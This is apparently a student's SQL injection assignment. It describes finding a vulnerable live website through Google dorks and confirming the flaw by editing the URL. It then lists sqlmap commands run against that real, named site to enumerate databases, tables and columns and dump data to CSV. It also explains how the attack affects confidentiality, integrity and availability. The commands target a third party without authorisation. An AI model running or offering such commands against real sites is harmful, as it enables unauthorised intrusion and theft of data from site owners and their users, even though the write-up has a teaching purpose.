**SQL Injection Assignment:**

Found the vulnerable website using google dorks from the Google Hacking Database.

* The vulnerable website was found from the following link:
* <https://www.exploit-db.com/google-hacking-database>.
* The vulnerable Website’s URL: <http://sportspanel.pk/contact.php?id=5>
* The vulnerability of the website was confirmed when the URL was edited, displaying vulnerabilities in the SQL Script:
* **Site without vulnerability:**
* A screenshot of a computer

  Description automatically generated
* **Site With vulnerability in URL:**

After Adding the hyphen at end of URL, the SQL script gets altered, indicating the vulnerability and signifies how a possible typo may affect the website availability:

* A screenshot of a computer

  Description automatically generated

**Explanation of attacking the CIA aspects:**

* **Confidentiality:** The databases of the website were visible as shown in the video. There are certain commands which show the Databases, the names, the rows, and the columns in the video.
* **Integrity:** Data integrity can be manipulated by the usage of payloads. Despite not being shown in the video, the integrity can easily be damaged as we can create a payload.
* **Availability:** Post SQL Script manipulation in the URL, the site is not available to the user therefore the availability is compromised.

**Kali terminal’s tools used:**

1. Downloaded ***sqlmap*** vulnerability detection utility using ***sudo apt install sqlmap.***

* SQL Queries used:
* The utilities present in sqlmap were enough to demonstrate the SQL injection.
* sqlmap http://sportspanel.pk/contact.php?id=5
* sqlmap http://sportspanel.pk/contact.php?id=5 --dbs
* sqlmap http://sportspanel.pk/contact.php?id=5 -D information\_schema --tables
* sqlmap http://sportspanel.pk/contact.php?id=5 -D information\_schema -T
* sqlmap http://sportspanel.pk/contact.php?id=5 -D information\_schema -T VIEWS --columns
* sqlmap http://sportspanel.pk/contact.php?id=5 -D information\_schema -T VIEWS -C ALGORITHM --dump
* Video demo provided in the ZIP file on submission folder.

**Steps of performing the attack:**

First, We find out a vulnerable site, then we confirm if **its susceptible to an SQL attack**, some sites despite being vulnerable do have defense against attacks.

Then we install the **sqlmap toolkit** using the terminal of Kali, then we write down the first **command of retrieving the database of the website**. Secondly, we find out the information of **tables** on the website. This sportspanel.pk website tables comprising of **rows and columns**, we can use the **commands which are shown in video and shared above checkmark bullet points** to demonstrate the extraction of data in rows, columns, and tables. Finally, all of this data is **dumped into a CSV file**. The demonstration displays how the **confidentiality, availability** of data is targeted. The **integrity of data can be violated by generating a malicious payload** and uploading it into the Database of the website. However, as the video demonstrates, there are no entries in the ALGORITHM section of the website, therefore OUR CSV FILE IS ESSENTIALLY EMPTY.

Since SQLI attacks are illegal, there is so much I could demonstrate before harming anyone’s property, a great website to practice penetration testing is: <http://testphp.vulnweb.com/>